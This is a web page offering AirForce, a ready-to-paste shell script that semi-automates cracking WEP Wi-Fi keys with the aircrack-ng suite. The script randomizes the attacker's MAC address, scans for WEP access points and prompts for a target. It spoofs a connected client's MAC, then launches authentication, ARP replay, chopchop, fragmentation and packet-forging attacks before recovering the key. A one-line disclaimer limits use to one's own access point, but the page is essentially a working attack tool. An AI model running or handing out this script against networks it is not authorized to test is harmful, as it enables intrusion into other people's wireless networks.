Designdesk

Semi-automatic WEP audit

Select the code, copy, type cat > airforce.sh then paste, end with CTRL+c

#!/bin/sh
#AirForce 1.0.1
#DISCLAIMER : ONLY USE ON YOUR OWN ACCESS POINT FOR TESTING PURPOSES
#Designed for semi-automatic operation of aircrack on WEP AP
#Type "source airforce.sh" to run
#To go to the next step when you are satified with the scan results type CTRL+c
#Monitor Mode ON with "sh airforce.sh 1 on"
#Monitor Mode OFF with "sh airforce.sh 1 off"
#Interface choice with "source airforce.sh WLAN_INTERFACE_NUMBER"
#Depends on : aircrack-ng macchanger screen
#Screen commands : CTRL+a n (next window)
#CTRL+a p (previous window) ; CTRL+a  (close screen)
#https://designdesk.org

diface="1"	#Default wlan interface number

ifacen=$1
if [ -z "$ifacen" ]; then ifacen=$diface; fi

#Define screen name and interface names
sname=air"$ifacen"
iface=wlan"$ifacen"mon
ifacef=wlan"$ifacen"

#Monitor Mode OFF
if [ "$2" = "off" ]; then
	airmon-ng stop "$iface"
	ifconfig "$ifacef" down
	macchanger -a "$ifacef"
	ifup "$ifacef"
	ifconfig "$ifacef" up
	dhclient -v "$ifacef"
	exit
fi

#Monitor Mode ON
airmon-ng start "$ifacef"
ifconfig "$iface" down
macchanger -a "$iface"
ifconfig "$iface" up
sleep 2

if [ "$2" = "on" ]; then exit; fi

#Scan of all WEP AP
airodump-ng --encrypt wep "$iface"

essid=
#Ask for parameters
read -p "Target BSSID : " bssid
read -p "Target Channel : " channel
read -p "Target ESSID : " essid
read -p "Station connected (leave empty if none) : " station

#Processing variables
if [ -z "$bssid" ]; then exit; fi
if [ -z "$channel" ]; then exit; else iwconfig "$iface" channel "$channel"; fi
if [ -z "$essid" ]; then exit; fi
if [ -z "$station" ]; then station=`cat /sys/class/net/"$iface"/address`; else stationc="connected"; fi

#Make random named working directory. Include Q prefix for easy bulk delete with : rm -r Q*
dirname=`cat /dev/urandom | tr -dc 'A-Z0-9' | fold -w 3 | head -n 1` ; dirname="Q"$dirname ; mkdir $dirname
#Open screen and add windows
screen -dmS "$sname"                #0
screen -S "$sname" -X screen        #1
screen -S "$sname" -X screen        #2
screen -S "$sname" -X screen        #3
#Windows menu in screen
screen -S "$sname" -X hardstatus alwayslastline "%w"
#Define window names
screen -S "$sname" -p 0 -X title capture
screen -S "$sname" -p 1 -X title auth

if [ "$stationc" = "connected" ]; then
#Spoof mac adress
	ifconfig "$iface" down
	macchanger -m "$station" "$iface"
	ifconfig "$iface" up
#Define window names
	screen -S "$sname" -p 2 -X title replay
	screen -S "$sname" -p 3 -X title crack
#Set working dir
	screen -S "$sname" -X at '#' stuff "cd $dirname\nclear\n"
#Pre-fill with commands/start
	screen -S "$sname" -p 0 -X stuff "airodump-ng $iface -w capture -c $channel --bssid $bssid\n"
	screen -S "$sname" -p 1 -X stuff "aireplay-ng $iface -1 30 -e $essid -a $bssid -h $station\n"
	screen -S "$sname" -p 2 -X stuff "aireplay-ng -3 -e $essid -a $bssid -h $station -x60 -r capture-01.cap $iface"
	screen -S "$sname" -p 3 -X stuff "aircrack-ng -l $essid capture-01.cap"
	sleep 2 && screen -S "$sname" -p 2 -X stuff "\n" 

else
#Open windows in screen
	screen -S "$sname" -X screen        #4
	screen -S "$sname" -X screen        #5
	screen -S "$sname" -X screen        #6
#Define window names
	screen -S "$sname" -p 2 -X title chopchop
	screen -S "$sname" -p 3 -X title fragmentation
	screen -S "$sname" -p 4 -X title forge
	screen -S "$sname" -p 5 -X title replay
	screen -S "$sname" -p 6 -X title crack
#Set working dir
	screen -S "$sname" -X at '#' stuff "cd $dirname\nclear\n"
#Pre-fill with commands/start
	screen -S "$sname" -p 0 -X stuff "airodump-ng $iface -w capture -c $channel --bssid $bssid\n"
	screen -S "$sname" -p 1 -X stuff "aireplay-ng $iface -1 30 -e $essid -a $bssid -h $station\n"
	screen -S "$sname" -p 2 -X stuff "aireplay-ng -4 $iface -b $bssid -h $station\n"
	screen -S "$sname" -p 3 -X stuff "aireplay-ng -5 $iface -b $bssid -h $station"
	screen -S "$sname" -p 4 -X stuff "packetforge-ng -0 -a $bssid -h $station -k 192.168.0.1 -l 192.168.0.137 -y *.xor -w arp.cap"
	screen -S "$sname" -p 5 -X stuff "aireplay-ng -3 -e $essid -a $bssid -h $station -x60 -r arp.cap $iface"
	screen -S "$sname" -p 6 -X stuff "aircrack-ng -l $essid capture-01.cap"
fi

#Open screen
screen -x -p 0 "$sname"

Notes

You may need to edit ifacef=wlan"$ifacen" on non-debian based distribs.